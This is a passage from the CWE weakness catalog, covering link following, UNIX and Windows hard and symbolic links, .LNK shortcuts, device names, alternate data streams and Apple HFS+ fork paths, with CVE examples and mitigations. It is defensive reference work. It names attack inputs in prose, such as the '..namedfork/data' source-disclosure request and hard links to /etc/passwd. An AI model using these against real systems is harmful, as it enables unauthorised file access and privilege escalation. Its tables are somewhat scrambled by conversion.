CVE-2005-1916	Symlink in Python program

## Potential Mitigations

### Architecture and Design

#### Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.











## Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

## Relationships

Nature	Type	ID	Name	☑	Page
ChildOf		21	Pathname Traversal and Equivalence Errors	<b>699</b>	29
ChildOf		632	Weaknesses that Affect Files or Directories	<b>631</b>	981
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	<b>1000</b>	1106
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	734	1137
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	<b>888</b>	1384
ParentOf		60	<a href="#">UNIX Path Link Problems</a>	<b>699</b>	94
ParentOf		61	<a href="#">UNIX Symbolic Link (Symlink) Following</a>	<b>1000</b>	95

Nature	Type	ID	Name	V	Page
ParentOf	V	62	UNIX Hard Link	1000	96
ParentOf	C	63	Windows Path Link Problems	699	98
ParentOf	V	64	Windows Shortcut Following (.LNK)	1000	98
ParentOf	V	65	Windows Hard Link	1000	100
CanFollow	G	73	External Control of File Name or Path	1000	109
CanFollow	B	363	Race Condition Enabling Link Following	1000	633
MemberOf	V	635	Weaknesses Used by NVD	635	983
MemberOf	V	884	CWE Cross-section	884	1319

### Relationship Notes

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

### Research Gaps

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

### Affected Resources

- File/Directory

### Functional Areas

- File processing, temporary files

### Causal Nature

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Link Following
CERT C Secure Coding	FIO02-C	Canonicalize path names originating from untrusted sources
CERT C Secure Coding	POS01-C	Check for the existence of links when dealing with files
CERT C++ Secure Coding	FIO02-CPP	Canonicalize path names originating from untrusted sources
Software Fault Patterns	SFP18	Link in resource name resolution

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Non-Executable Files	
76	Manipulating Input to File System Calls	
132	Symlink Attack	

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Symbolic Link Attacks", Page 518.. 1st Edition. Addison Wesley. 2006.

## CWE-60: UNIX Path Link Problems

Category ID: 60 (Category)

Status: Draft

### Description

#### Summary





Weaknesses in this category are related to improper handling of links within Unix-based operating systems.

### Applicable Platforms

#### Languages

- All

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	699	91
ChildOf		632	Weaknesses that Affect Files or Directories	631	981
ParentOf		61	UNIX Symbolic Link (Symlink) Following	631 699	95
ParentOf		62	UNIX Hard Link	631 699	96

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	UNIX Path Link problems

## CWE-61: UNIX Symbolic Link (Symlink) Following

Compound Element ID: 61 (Compound Element Variant: Composite) Status: Incomplete

### Description

#### Summary

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

#### Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

### Alternate Terms

#### Symlink following

#### symlink vulnerability

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Modes of Introduction

These are typically reported for temporary files or privileged programs.

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

### Likelihood of Exploit

High to Very High

### Observed Examples

Reference	Description
CVE-1999-1386	Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
CVE-2000-1178	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
CVE-2003-0517	Symlink attack allows local users to overwrite files.
CVE-2004-0217	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
CVE-2004-0689	Possible interesting example
CVE-2005-0824	Signal causes a dump that follows symlinks.
CVE-2005-1879	Second-order symlink vulnerabilities

Reference	Description
CVE-2005-1880	Second-order symlink vulnerabilities
CVE-2005-1916	Symlink in Python program

## Potential Mitigations

### Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

### Architecture and Design

#### Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	1000	91
ChildOf	C	60	UNIX Path Link Problems	631 699	94
Requires	C	216	Containment Errors (Container Errors)	1000	410
Requires	C	275	Permission Issues	1000	488
Requires	C	340	Predictability Problems	1000	596
Requires	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1000	627
Requires	B	386	Symbolic Name not Mapping to Correct Object	1000	667

## Research Gaps

Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported.

"Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	UNIX symbolic link following

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
27	Leveraging Race Conditions via Symbolic Links	

## References

Steve Christey. "Second-Order Symlink Vulnerabilities". Bugtraq. 2005-06-07. < <http://www.securityfocus.com/archive/1/401682> >.

Shaun Colley. "Crafting Symlinks for Fun and Profit". Infosec Writers Text Library. 2004-04-12. < <http://www.infosecwriters.com/texts.php?op=display&id=159> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Symbolic Link Attacks", Page 518.. 1st Edition. Addison Wesley. 2006.

# CWE-62: UNIX Hard Link

Weakness ID: 62 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

### Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

#### Operating Systems

- UNIX

### Common Consequences

#### Confidentiality

#### Integrity

#### Read files or directories

#### Modify files or directories

### Observed Examples

Reference	Description
BUGTRAQ:20030208 ASA-0001	OpenBSD chpass/chfn/chsh file content leak
CVE-1999-0783	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links
CVE-2002-0793	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
CVE-2003-0578	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
CVE-2004-1603	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
CVE-2004-1901	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
CVE-2005-1111	Hard link race condition

### Potential Mitigations

#### Architecture and Design

##### Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	<b>1000</b>	91
ChildOf		60	UNIX Path Link Problems	<b>631</b> <b>699</b>	94
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1384
PeerOf	V	71	Apple '.DS_Store'	1000	106

### Research Gaps

Under-studied. It is likely that programs that check for symbolic links could be vulnerable to hard links.

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		UNIX hard link
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes
CERT C++ Secure Coding	FIO05-CPP	Identify files using multiple file attributes
Software Fault Patterns	SFP18	Link in resource name resolution

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Hard Links", Page 518.. 1st Edition. Addison Wesley. 2006.

## CWE-63: Windows Path Link Problems

Category ID: 63 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are related to improper handling of links within Windows-based operating systems.

### Applicable Platforms

#### Languages

- All

#### Operating Systems

- Windows

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	699	91
ChildOf	C	632	Weaknesses that Affect Files or Directories	631	981
ParentOf	V	64	Windows Shortcut Following (.LNK)	631	98
				699	
ParentOf	V	65	Windows Hard Link	631	100
				699	

## CWE-64: Windows Shortcut Following (.LNK)

Weakness ID: 64 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

#### Extended Description

The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

### Alternate Terms

Windows symbolic link following



**symlink****Time of Introduction**

- Operation

**Applicable Platforms****Languages**

- All

**Operating Systems**

- Windows

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Likelihood of Exploit**

Medium to High

**Observed Examples**

Reference	Description
CVE-2000-0342	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
CVE-2001-1042	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
CVE-2001-1043	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
CVE-2001-1386	".LNK." - .LNK with trailing dot
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
CVE-2005-0587	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.

**Potential Mitigations****Architecture and Design****Separation of Privilege**







Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	<b>1000</b>	91
ChildOf		63	Windows Path Link Problems	<b>631</b> <b>699</b>	98
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	<b>888</b>	1384

**Research Gaps**

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)



**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Windows Shortcut Following (.LNK)
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes
CERT C++ Secure Coding	FIO05-CPP	Identify files using multiple file attributes
Software Fault Patterns	SFP18	Link in resource name resolution

**CWE-65: Windows Hard Link****Weakness ID:** 65 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

**Extended Description**

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

**Time of Introduction**

- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Operating Systems**

- Windows

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**




Reference	Description
CVE-2002-0725	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
CVE-2003-0844	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.

**Potential Mitigations****Architecture and Design****Separation of Privilege**

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')		1000 91
ChildOf		63	Windows Path Link Problems		631 98 699

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf	<b>C</b>	980	SFP Secondary Cluster: Link in Resource Name Resolution	<b>888</b>	1384

### Research Gaps

Under-studied

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Windows hard link
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes
CERT C++ Secure Coding	FIO05-CPP	Identify files using multiple file attributes
Software Fault Patterns	SFP18	Link in resource name resolution

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Links", Page 676.. 1st Edition. Addison Wesley. 2006.

## CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID: 66 (Weakness Base)

Status: Draft

### Description

#### Summary

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

#### Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

Other

Other

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Fuzz Tester
- Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		21	Pathname Traversal and Equivalence Errors	699	29
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1000	1106
ChildOf		981	SFP Secondary Cluster: Path Traversal	888	1384
ParentOf		67	<i>Improper Handling of Windows Device Names</i>	699 1000	103
ParentOf		68	<i>Windows Virtual File Problems</i>	699	104
ParentOf		69	<i>Improper Handling of Windows ::DATA Alternate Data Stream</i>	699 1000	105
ParentOf		70	<i>Mac Virtual File Problems</i>	699	106
ParentOf		71	<i>Apple '.DS_Store'</i>	1000	106
ParentOf		72	<i>Improper Handling of Apple HFS+ Alternate Data Stream Path</i>	699 1000	107

**Affected Resources**

- File/Directory

**Functional Areas**

- File processing

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Virtual Files

## CWE-67: Improper Handling of Windows Device Names

Weakness ID: 67 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

#### Extended Description

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

##### Operating Systems

- Windows

#### Common Consequences

##### Availability

##### Confidentiality

##### Other

##### DoS: crash / exit / restart

##### Read application data

##### Other

#### Likelihood of Exploit

High to Very High

#### Observed Examples

Reference	Description
CVE-2000-0168	Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability.
CVE-2001-0492	Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names.
CVE-2001-0493	Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name.
CVE-2001-0558	Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name.
CVE-2002-0106	Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name.
CVE-2002-0200	Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.
CVE-2002-1052	Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server.
CVE-2004-0552	Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed.

Reference	Description
CVE-2005-2195	Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name.

### Potential Mitigations

#### Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

### Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	699 1000	101
ChildOf	C	68	Windows Virtual File Problems	631	104
ChildOf	C	632	Weaknesses that Affect Files or Directories	631	981
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	981	SFP Secondary Cluster: Path Traversal	888	1384

### Affected Resources

- File/Directory

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Windows MS-DOS device names
CERT C Secure Coding	FIO32-C	Do not perform operations on devices that are only appropriate for files
CERT Java Secure Coding	FIO00-J	Do not operate on files in shared directories
CERT C++ Secure Coding	FIO32-CPP	Do not perform operations on devices that are only appropriate for files
Software Fault Patterns	SFP16	Path Traversal

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Device Files", Page 666.. 1st Edition. Addison Wesley. 2006.

## CWE-68: Windows Virtual File Problems

Category ID: 68 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are related to improper handling of virtual files within Windows-based operating systems.

### Applicable Platforms

#### Languages

- All

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	699	101

Nature	Type	ID	Name	V	Page
ChildOf	C	632	Weaknesses that Affect Files or Directories	631	981
ParentOf	V	67	Improper Handling of Windows Device Names	631	103
ParentOf	V	69	Improper Handling of Windows ::DATA Alternate Data Stream	631 699	105

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Windows Virtual File problems

## CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

Weakness ID: 69 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

#### Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

#### Operating Systems

- Windows

### Common Consequences

#### Access Control

#### Non-Repudiation

#### Other

#### Bypass protection mechanism

#### Hide activities

#### Other

### Observed Examples

Reference	Description
CVE-1999-0278	In IIS, remote attackers can obtain source code for ASP files by appending "::\$DATA" to the URL.
CVE-2000-0927	Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions.

### Potential Mitigations

#### Testing

Software tools are capable of finding ADSs on your system.

#### Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

### Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	699 1000	101
ChildOf	C	68	Windows Virtual File Problems	631 699	104
ChildOf	C	634	Weaknesses that Affect System Processes	631	982
ChildOf	C	904	SFP Primary Cluster: Malware	888	1329

**Theoretical Notes**

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

**Affected Resources**

- System Process

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Windows ::DATA alternate data stream

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
11	Cause Web Server Misclassification	
168	Windows ::DATA Alternate Data Stream	

**References**

Don Parker. "Windows NTFS Alternate Data Streams". 2005-02-16. < <http://www.securityfocus.com/infocus/1822> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

## CWE-70: Mac Virtual File Problems

Category ID: 70 (Category)

Status: Draft

**Description****Summary**

Weaknesses in this category are related to improper handling of virtual files within Mac-based operating systems.

**Applicable Platforms****Languages**

- All

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	699	101
ChildOf	C	632	Weaknesses that Affect Files or Directories	631	981
ParentOf	V	71	Apple '.DS_Store'	631 699	106
ParentOf	V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path	631 699	107

**Affected Resources**

- File/Directory

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Mac Virtual File problems

## CWE-71: Apple '.DS\_Store'

Weakness ID: 71 (Weakness Variant)

Status: Incomplete

**Description**



**Summary**

Software operating in a MAC OS environment, where .DS\_Store is in effect, must carefully manage hard links, otherwise an attacker may be able to leverage a hard link from .DS\_Store to overwrite arbitrary files and gain privileges.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Observed Examples**

Reference	Description
BUGTRAQ:20010909	More security problems in Apache on Mac OS X
CVE-2005-0342	The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
PeerOf	V	62	UNIX Hard Link	1000	96
ChildOf	B	66	Improper Handling of File Names that Identify Virtual Resources	1000	101
ChildOf	C	70	Mac Virtual File Problems	631 699	106
ChildOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1384

**Research Gaps**

Under-studied

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	DS - Apple '.DS_Store

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
19	Embedding Scripts within Scripts	
32	Embedding Scripts in HTTP Query Strings	
63	Simple Script Injection	
86	Embedding Script (XSS) in HTTP Headers	
91	XSS in IMG Tags	
199	Cross-Site Scripting Using Alternate Syntax	
244	Cross-Site Scripting via Encoded URI Schemes	

**Maintenance Notes**

This entry, which originated from PLOVER, probably stems from a common manipulation that is used to exploit symlink and hard link following weaknesses, like /etc/passwd is often used for UNIX-based exploits. As such, it is probably too low-level for inclusion in CWE.

## CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

<b>Weakness ID:</b> 72 (Weakness Variant)	<b>Status:</b> Incomplete
<b>Description</b>	

**Summary**

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

**Extended Description**

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Operating Systems**

- Mac OS

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Demonstrative Examples**

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

**Observed Examples**

Reference	Description
CVE-2004-1084	Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.

**Background Details**

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)




Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with ".\_" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf		66	Improper Handling of File Names that Identify Virtual Resources	<b>699</b> <b>1000</b>	101
ChildOf		70	Mac Virtual File Problems	<b>631</b> 699	106
ChildOf		981	SFP Secondary Cluster: Path Traversal	<b>888</b>	1384

**Research Gaps**

Under-studied

**Theoretical Notes**

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Apple HFS+ alternate data stream

### References

Apple Inc.. < <http://docs.info.apple.com/article.html?artnum=300422> >.

## CWE-73: External Control of File Name or Path

Weakness ID: 73 (*Weakness Class*)

Status: Draft

### Description

#### Summary

The software allows user input to control or influence paths or file names that are used in filesystem operations.

#### Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

#### Operating Systems

- UNIX (*Often*)
- Windows (*Often*)
- Mac OS (*Often*)

### Common Consequences

#### Integrity

#### Confidentiality

#### Read files or directories

#### Modify files or directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.

#### Integrity

